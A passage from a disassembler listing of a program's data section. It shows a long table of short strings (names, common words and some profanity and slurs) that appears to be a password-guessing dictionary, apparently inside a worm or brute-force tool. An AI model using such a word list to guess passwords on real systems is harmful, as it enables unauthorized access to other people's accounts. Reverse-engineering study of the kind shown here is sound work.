aJudy		db 'judy',0             ; DATA XREF: .data:0042F7F4o
		align 10h
aJudith		db 'judith',0           ; DATA XREF: .data:0042F7F0o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: .data:0042F7ECo
		align 10h
aJournal	db 'journal',0          ; DATA XREF: .data:0042F7E8o
aJoshua		db 'joshua',0           ; DATA XREF: .data:0042F7E4o
		align 10h
aJoseph		db 'joseph',0           ; DATA XREF: .data:0042F7E0o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: .data:0042F7DCo
		align 10h
aJohndoe	db 'johndoe',0          ; DATA XREF: .data:0042F7D8o
aJohn		db 'john',0             ; DATA XREF: .data:0042F7D4o
		align 10h
aJody		db 'jody',0             ; DATA XREF: .data:0042F7D0o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: .data:0042F7CCo
		align 10h
aJixian		db 'jixian',0           ; DATA XREF: .data:0042F7C8o
		align 4
aJill		db 'jill',0             ; DATA XREF: .data:0042F7C4o
		align 10h
aJewelry	db 'jewelry',0          ; DATA XREF: .data:0042F7C0o
aJester		db 'jester',0           ; DATA XREF: .data:0042F7BCo
		align 10h
aJessica	db 'jessica',0          ; DATA XREF: .data:0042F7B8o
aJerusale	db 'jerusale',0         ; DATA XREF: .data:0042F7B4o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: .data:0042F7B0o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: .data:0042F7ACo
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: .data:0042F7A8o
		align 10h
aJenni		db 'jenni',0            ; DATA XREF: .data:0042F7A4o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: .data:0042F7A0o
		align 10h
aJeanne		db 'jeanne',0           ; DATA XREF: .data:0042F79Co
		align 4
aJean		db 'jean',0             ; DATA XREF: .data:0042F798o
		align 10h
aJazz		db 'jazz',0             ; DATA XREF: .data:0042F794o
		align 4
aJava		db 'java',0             ; DATA XREF: .data:0042F790o
		align 10h
aJasmin		db 'jasmin',0           ; DATA XREF: .data:0042F78Co
		align 4
aJapan		db 'japan',0            ; DATA XREF: .data:0042F788o
		align 10h
aJanie		db 'janie',0            ; DATA XREF: .data:0042F784o
		align 4
aJanice		db 'janice',0           ; DATA XREF: .data:0042F780o
		align 10h
aJanet		db 'janet',0            ; DATA XREF: .data:0042F77Co
		align 4
aJane		db 'jane',0             ; DATA XREF: .data:0042F778o
		align 10h
aJail		db 'jail',0             ; DATA XREF: .data:0042F774o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: .data:0042F770o
		align 10h
aIsis		db 'isis',0             ; DATA XREF: .data:0042F76Co
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: .data:0042F768o
		align 4
aIrene		db 'irene',0            ; DATA XREF: .data:0042F764o
		align 4
aInvent		db 'invent',0           ; DATA XREF: .data:0042F760o
		align 4
aInteger	db 'integer',0          ; DATA XREF: .data:0042F75Co
aInside		db 'inside',0           ; DATA XREF: .data:0042F758o
		align 4
aInput		db 'input',0            ; DATA XREF: .data:0042F754o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: .data:0042F750o
		align 4
aInna		db 'inna',0             ; DATA XREF: .data:0042F74Co
		align 10h
aIngrid		db 'ingrid',0           ; DATA XREF: .data:0042F748o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: .data:0042F744o
aIngres		db 'ingres',0           ; DATA XREF: .data:0042F740o
		align 4
aIndians	db 'indians',0          ; DATA XREF: .data:0042F73Co
aIndiana	db 'indiana',0          ; DATA XREF: .data:0042F738o
aIndian		db 'indian',0           ; DATA XREF: .data:0042F734o
		align 10h
aIndia		db 'india',0            ; DATA XREF: .data:0042F730o
		align 4
aInclude	db 'include',0          ; DATA XREF: .data:0042F72Co
aImperial	db 'imperial',0         ; DATA XREF: .data:0042F728o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: .data:0042F724o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: .data:0042F720o
		align 4
aImage		db 'image',0            ; DATA XREF: .data:0042F71Co
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: .data:0042F718o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: .data:0042F714o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: .data:0042F710o
		align 10h
aHyper		db 'hyper',0            ; DATA XREF: .data:0042F70Co
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: .data:0042F708o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: .data:0042F704o
		align 10h
aHunter		db 'hunter',0           ; DATA XREF: .data:0042F700o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: .data:0042F6FCo
		align 10h
aHttp_0		db 'http',0             ; DATA XREF: .data:0042F6F8o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: .data:0042F6F4o
		align 10h
aHotdog		db 'hotdog',0           ; DATA XREF: .data:0042F6F0o
		align 4
aHost		db 'host',0             ; DATA XREF: .data:0042F6ECo
		align 10h
aHorus		db 'horus',0            ; DATA XREF: .data:0042F6E8o
		align 4
aHorse		db 'horse',0            ; DATA XREF: .data:0042F6E4o
		align 10h
aHorror		db 'horror',0           ; DATA XREF: .data:0042F6E0o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: .data:0042F6DCo
		align 4
aHorny		db 'horny',0            ; DATA XREF: .data:0042F6D8o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: .data:0042F6D4o
aHooker		db 'hooker',0           ; DATA XREF: .data:0042F6D0o
		align 4
aHoney		db 'honey',0            ; DATA XREF: .data:0042F6CCo
		align 4
aHomework	db 'homework',0         ; DATA XREF: .data:0042F6C8o
		align 10h
aHomer		db 'homer',0            ; DATA XREF: .data:0042F6C4o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: .data:0042F6C0o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: .data:0042F6BCo
		align 10h
aHolly		db 'holly',0            ; DATA XREF: .data:0042F6B8o
		align 4
aHole		db 'hole',0             ; DATA XREF: .data:0042F6B4o
		align 10h
aHits		db 'hits',0             ; DATA XREF: .data:0042F6B0o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: .data:0042F6ACo
		align 10h
aHighland	db 'highland',0         ; DATA XREF: .data:0042F6A8o
		align 4
aHigh		db 'high',0             ; DATA XREF: .data:0042F6A4o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: .data:0042F6A0o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: .data:0042F69Co
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: .data:0042F698o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: .data:0042F694o
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: .data:0042F690o
aHeroin		db 'heroin',0           ; DATA XREF: .data:0042F68Co
		align 10h
aHero		db 'hero',0             ; DATA XREF: .data:0042F688o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: .data:0042F684o
aHerb		db 'herb',0             ; DATA XREF: .data:0042F680o
		align 4
aHelp		db 'help',0             ; DATA XREF: .data:0042F67Co
		align 10h
aHello		db 'hello',0            ; DATA XREF: .data:0042F678o
		align 4
aHell		db 'hell',0             ; DATA XREF: .data:0042F674o
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: .data:0042F670o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: .data:0042F66Co
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: .data:0042F668o
		align 10h
aHeather	db 'heather',0          ; DATA XREF: .data:0042F664o
aHeathen	db 'heathen',0          ; DATA XREF: .data:0042F660o
aHeat		db 'heat',0             ; DATA XREF: .data:0042F65Co
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: .data:0042F658o
		align 4
aHead		db 'head',0             ; DATA XREF: .data:0042F654o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: .data:0042F650o
		align 4
aHaven		db 'haven',0            ; DATA XREF: .data:0042F64Co
		align 4
aHate		db 'hate',0             ; DATA XREF: .data:0042F648o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: .data:0042F644o
		align 4
aHarold		db 'harold',0           ; DATA XREF: .data:0042F640o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: .data:0042F63Co
aHarddriv	db 'harddriv',0         ; DATA XREF: .data:0042F638o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: .data:0042F634o
		align 4
aHard		db 'hard',0             ; DATA XREF: .data:0042F630o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: .data:0042F62Co
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: .data:0042F628o
aHandily	db 'handily',0          ; DATA XREF: .data:0042F624o
aHandel		db 'handel',0           ; DATA XREF: .data:0042F620o
		align 10h
aHamster	db 'hamster',0          ; DATA XREF: .data:0042F61Co
aHamlet		db 'hamlet',0           ; DATA XREF: .data:0042F618o
		align 10h
aHallowee	db 'hallowee',0         ; DATA XREF: .data:0042F614o
		align 4
aHair		db 'hair',0             ; DATA XREF: .data:0042F610o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: .data:0042F60Co
		align 4
aHacked		db 'hacked',0           ; DATA XREF: .data:0042F608o
		align 4
aHack		db 'hack',0             ; DATA XREF: .data:0042F604o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: .data:0042F600o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: .data:0042F5FCo
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: .data:0042F5F8o
		align 4
aGuess		db 'guess',0            ; DATA XREF: .data:0042F5F4o
		align 10h
aGucci		db 'gucci',0            ; DATA XREF: .data:0042F5F0o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: .data:0042F5ECo
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: .data:0042F5E8o
aGroup		db 'group',0            ; DATA XREF: .data:0042F5E4o
		align 4
aGreen		db 'green',0            ; DATA XREF: .data:0042F5E0o
		align 4
aGreat		db 'great',0            ; DATA XREF: .data:0042F5DCo
		align 4
aGrant		db 'grant',0            ; DATA XREF: .data:0042F5D8o
		align 4
aGrand		db 'grand',0            ; DATA XREF: .data:0042F5D4o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: .data:0042F5D0o
		align 4
aGraham		db 'graham',0           ; DATA XREF: .data:0042F5CCo
		align 4
aGrades		db 'grades',0           ; DATA XREF: .data:0042F5C8o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: .data:0042F5C4o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: .data:0042F5C0o
		align 10h
aGosling	db 'gosling',0          ; DATA XREF: .data:0042F5BCo
aGorges		db 'gorges',0           ; DATA XREF: .data:0042F5B8o
		align 10h
aGorgeous	db 'gorgeous',0         ; DATA XREF: .data:0042F5B4o
		align 4
aGood		db 'good',0             ; DATA XREF: .data:0042F5B0o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: .data:0042F5ACo
		align 4
aGolf		db 'golf',0             ; DATA XREF: .data:0042F5A8o
		align 4
aGolden		db 'golden',0           ; DATA XREF: .data:0042F5A4o
		align 4
aGold		db 'gold',0             ; DATA XREF: .data:0042F5A0o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: .data:0042F59Co
aGirl		db 'girl',0             ; DATA XREF: .data:0042F598o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: .data:0042F594o
		align 4
aGina		db 'gina',0             ; DATA XREF: .data:0042F590o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: .data:0042F58Co
		align 10h
aGibson		db 'gibson',0           ; DATA XREF: .data:0042F588o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: .data:0042F584o
		align 10h
aGertrude	db 'gertrude',0         ; DATA XREF: .data:0042F580o
		align 4
aGerm		db 'germ',0             ; DATA XREF: .data:0042F57Co
		align 4
aGeorge		db 'george',0           ; DATA XREF: .data:0042F578o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: .data:0042F574o
		align 4
aGatt		db 'gatt',0             ; DATA XREF: .data:0042F570o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: .data:0042F56Co
		align 4
aGateway	db 'gateway',0          ; DATA XREF: .data:0042F568o
aGarfield	db 'garfield',0         ; DATA XREF: .data:0042F564o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: .data:0042F560o
aGames		db 'games',0            ; DATA XREF: .data:0042F55Co
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: .data:0042F558o
aFungible	db 'fungible',0         ; DATA XREF: .data:0042F554o
		align 10h
aFunction	db 'function',0         ; DATA XREF: .data:0042F550o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: .data:0042F54Co
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: .data:0042F548o
aFuckme		db 'fuckme',0           ; DATA XREF: .data:0042F544o
		align 4
aFucking	db 'fucking',0          ; DATA XREF: .data:0042F540o
aFucker		db 'fucker',0           ; DATA XREF: .data:0042F53Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:0042F538o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: .data:0042F534o
		align 4
aFrog		db 'frog',0             ; DATA XREF: .data:0042F530o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: .data:0042F52Co
		align 4
aFriends	db 'friends',0          ; DATA XREF: .data:0042F528o
aFriend		db 'friend',0           ; DATA XREF: .data:0042F524o
		align 4
aFriday		db 'friday',0           ; DATA XREF: .data:0042F520o
		align 10h
aFrench		db 'french',0           ; DATA XREF: .data:0042F51Co
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: .data:0042F518o
aFree		db 'free',0             ; DATA XREF: .data:0042F514o
		align 4
aFred		db 'fred',0             ; DATA XREF: .data:0042F510o
		align 10h
aFreak		db 'freak',0            ; DATA XREF: .data:0042F50Co
		align 4
aFrank		db 'frank',0            ; DATA XREF: .data:0042F508o
		align 10h
aFrance		db 'france',0           ; DATA XREF: .data:0042F504o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: .data:0042F500o
aFourier	db 'fourier',0          ; DATA XREF: .data:0042F4FCo
aForsythe	db 'forsythe',0         ; DATA XREF: .data:0042F4F8o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: .data:0042F4F4o
		align 10h
aFormat		db 'format',0           ; DATA XREF: .data:0042F4F0o
		align 4
aForm		db 'form',0             ; DATA XREF: .data:0042F4ECo
		align 10h
aForever	db 'forever',0          ; DATA XREF: .data:0042F4E8o
aForesigh	db 'foresigh',0         ; DATA XREF: .data:0042F4E4o
		align 4
aFord		db 'ford',0             ; DATA XREF: .data:0042F4E0o
		align 4
aForce		db 'force',0            ; DATA XREF: .data:0042F4DCo
		align 4
aFootball	db 'football',0         ; DATA XREF: .data:0042F4D8o
		align 10h
aFoolproo	db 'foolproo',0         ; DATA XREF: .data:0042F4D4o
		align 4
aFool		db 'fool',0             ; DATA XREF: .data:0042F4D0o
		align 4
aFood		db 'food',0             ; DATA XREF: .data:0042F4CCo
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: .data:0042F4C8o
aFlower		db 'flower',0           ; DATA XREF: .data:0042F4C4o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: .data:0042F4C0o
aFloat		db 'float',0            ; DATA XREF: .data:0042F4BCo
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: .data:0042F4B8o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: .data:0042F4B4o
aFirewall	db 'firewall',0         ; DATA XREF: .data:0042F4B0o
		align 4
aFire		db 'fire',0             ; DATA XREF: .data:0042F4ACo
		align 10h
aFinite		db 'finite',0           ; DATA XREF: .data:0042F4A8o
		align 4
aFile		db 'file',0             ; DATA XREF: sub_40EC43+1DF2o
					; sub_40EC43+1E5Do ...
		align 10h
aFight		db 'fight',0            ; DATA XREF: .data:0042F4A0o
		align 4
aField		db 'field',0            ; DATA XREF: .data:0042F49Co
		align 10h
aFidelity	db 'fidelity',0         ; DATA XREF: .data:0042F498o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: .data:0042F494o
aFermat		db 'fermat',0           ; DATA XREF: .data:0042F490o
		align 4
aFender		db 'fender',0           ; DATA XREF: .data:0042F48Co
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: .data:0042F488o
aFeds		db 'feds',0             ; DATA XREF: .data:0042F484o
		align 4
aFear		db 'fear',0             ; DATA XREF: .data:0042F480o
		align 4
aFast		db 'fast',0             ; DATA XREF: .data:0042F47Co
		align 4
aFart		db 'fart',0             ; DATA XREF: .data:0042F478o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: .data:0042F474o
aFarad		db 'farad',0            ; DATA XREF: .data:0042F470o
		align 4
aFamily		db 'family',0           ; DATA XREF: .data:0042F46Co
		align 4
aFalse		db 'false',0            ; DATA XREF: .data:0042F468o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: .data:0042F464o
		align 4
aFaith		db 'faith',0            ; DATA XREF: .data:0042F460o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: .data:0042F45Co
aExtensio	db 'extensio',0         ; DATA XREF: .data:0042F458o
		align 10h
aExplosiv	db 'explosiv',0         ; DATA XREF: .data:0042F454o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: .data:0042F450o
		align 4
aExplore	db 'explore',0          ; DATA XREF: .data:0042F44Co
aExplode	db 'explode',0          ; DATA XREF: .data:0042F448o
aExpert		db 'expert',0           ; DATA XREF: .data:0042F444o
		align 10h
aEvelyn		db 'evelyn',0           ; DATA XREF: .data:0042F440o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: .data:0042F43Co
		align 10h
aEternity	db 'eternity',0         ; DATA XREF: .data:0042F438o
		align 4
aEstate		db 'estate',0           ; DATA XREF: .data:0042F434o
		align 4
aEstablis	db 'establis',0         ; DATA XREF: .data:0042F430o
		align 10h
aErsatz		db 'ersatz',0           ; DATA XREF: .data:0042F42Co
		align 4
aErotic		db 'erotic',0           ; DATA XREF: .data:0042F428o
		align 10h
aErin		db 'erin',0             ; DATA XREF: .data:0042F424o
		align 4
aErika		db 'erika',0            ; DATA XREF: .data:0042F420o
		align 10h
aErica		db 'erica',0            ; DATA XREF: .data:0042F41Co
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:0042F418o
		align 10h
aErenity	db 'erenity',0          ; DATA XREF: .data:0042F414o
aEnzyme		db 'enzyme',0           ; DATA XREF: .data:0042F410o
		align 10h
aEnterpri	db 'enterpri',0         ; DATA XREF: .data:0042F40Co
		align 4
aEnter		db 'enter',0            ; DATA XREF: .data:0042F408o
		align 4
aEnglish	db 'english',0          ; DATA XREF: .data:0042F404o
aEngland	db 'england',0          ; DATA XREF: .data:0042F400o
aEngineer	db 'engineer',0         ; DATA XREF: .data:0042F3FCo
		align 10h
aEngine		db 'engine',0           ; DATA XREF: .data:0042F3F8o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: .data:0042F3F4o
		align 10h
aEmmanuel	db 'emmanuel',0         ; DATA XREF: .data:0042F3F0o
		align 4
aEmily		db 'emily',0            ; DATA XREF: .data:0042F3ECo
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: .data:0042F3E8o
aEmail		db 'email',0            ; DATA XREF: .data:0042F3E4o
		align 4
aEllen		db 'ellen',0            ; DATA XREF: .data:0042F3E0o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: .data:0042F3DCo
		align 4
aElephant	db 'elephant',0         ; DATA XREF: .data:0042F3D8o
		align 4
aElectron	db 'electron',0         ; DATA XREF: .data:0042F3D4o
		align 10h
aElanor		db 'elanor',0           ; DATA XREF: .data:0042F3D0o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: .data:0042F3CCo
		align 10h
aEinstein	db 'einstein',0         ; DATA XREF: .data:0042F3C8o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: .data:0042F3C4o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: .data:0042F3C0o
		align 10h
aEiderdow	db 'eiderdow',0         ; DATA XREF: .data:0042F3BCo
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: .data:0042F3B8o
aEdwina		db 'edwina',0           ; DATA XREF: .data:0042F3B4o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: .data:0042F3B0o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: .data:0042F3ACo
		align 10h
aEducation	db 'education',0        ; DATA XREF: .data:0042F3A8o
		align 4
aEdition	db 'edition',0          ; DATA XREF: .data:0042F3A4o
aEdit		db 'edit',0             ; DATA XREF: .data:0042F3A0o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: .data:0042F39Co
		align 4
aEdges		db 'edges',0            ; DATA XREF: .data:0042F398o
		align 10h
aEddie		db 'eddie',0            ; DATA XREF: .data:0042F394o
		align 4
aEcho		db 'echo',0             ; DATA XREF: .data:0042F390o
		align 10h
aEatme		db 'eatme',0            ; DATA XREF: .data:0042F38Co
		align 4
aEasy		db 'easy',0             ; DATA XREF: .data:0042F388o
		align 10h
aEasier		db 'easier',0           ; DATA XREF: .data:0042F384o
		align 4
aEarth		db 'earth',0            ; DATA XREF: .data:0042F380o
		align 10h
aEagle		db 'eagle',0            ; DATA XREF: .data:0042F37Co
		align 4
aEager		db 'eager',0            ; DATA XREF: .data:0042F378o
		align 10h
aDyke		db 'dyke',0             ; DATA XREF: .data:0042F374o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: .data:0042F370o
aDuncan		db 'duncan',0           ; DATA XREF: .data:0042F36Co
		align 4
aDulce		db 'dulce',0            ; DATA XREF: .data:0042F368o
		align 10h
aDuke		db 'duke',0             ; DATA XREF: .data:0042F364o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: .data:0042F360o
aDude		db 'dude',0             ; DATA XREF: .data:0042F35Co
		align 4
aDuck		db 'duck',0             ; DATA XREF: .data:0042F358o
		align 10h
aDrought	db 'drought',0          ; DATA XREF: .data:0042F354o
aDrive		db 'drive',0            ; DATA XREF: .data:0042F350o
		align 10h
aDrdoom		db 'drdoom',0           ; DATA XREF: .data:0042F34Co
		align 4
aDragon		db 'dragon',0           ; DATA XREF: .data:0042F348o
		align 10h
aDownload	db 'download',0         ; DATA XREF: .data:0042F344o
		align 4
aDope		db 'dope',0             ; DATA XREF: .data:0042F340o
		align 4
aDoors		db 'doors',0            ; DATA XREF: .data:0042F33Co
		align 4
aDoor		db 'door',0             ; DATA XREF: .data:0042F338o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: .data:0042F334o
		align 10h
aDoomsday	db 'doomsday',0         ; DATA XREF: .data:0042F330o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: .data:0042F32Co
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: .data:0042F328o
		align 4
aDoom		db 'doom',0             ; DATA XREF: .data:0042F324o
		align 4
aDong		db 'dong',0             ; DATA XREF: .data:0042F320o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: .data:0042F31Co
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: .data:0042F318o
		align 4
aDisplay_0	db 'display',0          ; DATA XREF: .data:0042F314o
aDisney		db 'disney',0           ; DATA XREF: .data:0042F310o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: .data:0042F30Co
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: .data:0042F308o
		align 10h
aDiscover	db 'discover',0         ; DATA XREF: .data:0042F304o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: .data:0042F300o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: .data:0042F2FCo
		align 4
aDisc		db 'disc',0             ; DATA XREF: .data:0042F2F8o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: .data:0042F2F4o
		align 4
aDirector	db 'director',0         ; DATA XREF: .data:0042F2F0o
		align 10h
aDirect		db 'direct',0           ; DATA XREF: .data:0042F2ECo
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: .data:0042F2E8o
aDinosaur	db 'dinosaur',0         ; DATA XREF: .data:0042F2E4o
		align 4
aDigital	db 'digital',0          ; DATA XREF: .data:0042F2E0o
aDieter		db 'dieter',0           ; DATA XREF: .data:0042F2DCo
		align 4
aDiet		db 'diet',0             ; DATA XREF: .data:0042F2D8o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: .data:0042F2D4o
aDick		db 'dick',0             ; DATA XREF: .data:0042F2D0o
		align 4
aDice		db 'dice',0             ; DATA XREF: .data:0042F2CCo
		align 4
aDiane		db 'diane',0            ; DATA XREF: .data:0042F2C8o
		align 4
aDiana		db 'diana',0            ; DATA XREF: .data:0042F2C4o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: .data:0042F2C0o
aDial		db 'dial',0             ; DATA XREF: .data:0042F2BCo
		align 4
aDevice		db 'device',0           ; DATA XREF: .data:0042F2B8o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: .data:0042F2B4o
aDesperat	db 'desperat',0         ; DATA XREF: .data:0042F2B0o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: .data:0042F2ACo
aDesk		db 'desk',0             ; DATA XREF: .data:0042F2A8o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: .data:0042F2A4o
aDennis		db 'dennis',0           ; DATA XREF: .data:0042F2A0o
		align 4
aDenise		db 'denise',0           ; DATA XREF: .data:0042F29Co
		align 10h
aDemocrat	db 'democrat',0         ; DATA XREF: .data:0042F298o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: .data:0042F294o
		align 4
aDelta		db 'delta',0            ; DATA XREF: .data:0042F290o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: .data:0042F28Co
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: .data:0042F288o
aDeck		db 'deck',0             ; DATA XREF: .data:0042F280o
		align 4
aDecember	db 'december',0         ; DATA XREF: .data:0042F27Co
		align 10h
aDebug		db 'debug',0            ; DATA XREF: .data:0042F278o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: .data:0042F274o
aDebbie		db 'debbie',0           ; DATA XREF: .data:0042F270o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: .data:0042F26Co
		align 4
aDead		db 'dead',0             ; DATA XREF: .data:0042F268o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: .data:0042F264o
		align 4
aDave		db 'dave',0             ; DATA XREF: .data:0042F260o
		align 4
aData		db 'data',0             ; DATA XREF: .data:0042F25Co
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: .data:0042F258o
		align 10h
aDark		db 'dark',0             ; DATA XREF: .data:0042F254o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: .data:0042F250o
		align 10h
aDanny		db 'danny',0            ; DATA XREF: .data:0042F24Co
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: .data:0042F248o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: .data:0042F244o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: .data:0042F240o
		align 4
aDana		db 'dana',0             ; DATA XREF: .data:0042F23Co
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: .data:0042F238o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: .data:0042F234o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: .data:0042F230o
aCyberspa	db 'cyberspa',0         ; DATA XREF: .data:0042F22Co
		align 10h
aCyberpun	db 'cyberpun',0         ; DATA XREF: .data:0042F228o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: .data:0042F224o
		align 4
aCustomer	db 'customer',0         ; DATA XREF: .data:0042F220o
		align 10h
aCunt		db 'cunt',0             ; DATA XREF: .data:0042F21Co
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: .data:0042F218o
		align 10h
aCrystal	db 'crystal',0          ; DATA XREF: .data:0042F214o
aCristina	db 'cristina',0         ; DATA XREF: .data:0042F210o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: .data:0042F20Co
		align 10h
aCrime		db 'crime',0            ; DATA XREF: .data:0042F208o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: .data:0042F204o
		align 10h
aCreosote	db 'creosote',0         ; DATA XREF: .data:0042F200o
		align 4
aCredit		db 'credit',0           ; DATA XREF: .data:0042F1FCo
		align 4
aCreature	db 'creature',0         ; DATA XREF: .data:0042F1F8o
		align 10h
aCreation	db 'creation',0         ; DATA XREF: .data:0042F1F4o
		align 4
aCreate		db 'create',0           ; DATA XREF: .data:0042F1F0o
		align 4
aCream		db 'cream',0            ; DATA XREF: .data:0042F1ECo
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: .data:0042F1E8o
		align 4
aCrack		db 'crack',0            ; DATA XREF: .data:0042F1E4o
		align 10h
aCowboy		db 'cowboy',0           ; DATA XREF: .data:0042F1E0o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: .data:0042F1DCo
		align 4
aCountry	db 'country',0          ; DATA XREF: .data:0042F1D8o
aCounters	db 'counters',0         ; DATA XREF: .data:0042F1D4o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: .data:0042F1D0o
aCorneliu	db 'corneliu',0         ; DATA XREF: .data:0042F1CCo
		align 4
aCopy		db 'copy',0             ; DATA XREF: .data:0042F1C8o
		align 4
aCops		db 'cops',0             ; DATA XREF: .data:0042F1C4o
		align 4
aCopper		db 'copper',0           ; DATA XREF: .data:0042F1C0o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: .data:0042F1BCo
		align 4
aCool		db 'cool',0             ; DATA XREF: .data:0042F1B8o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: .data:0042F1B4o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: .data:0042F1B0o
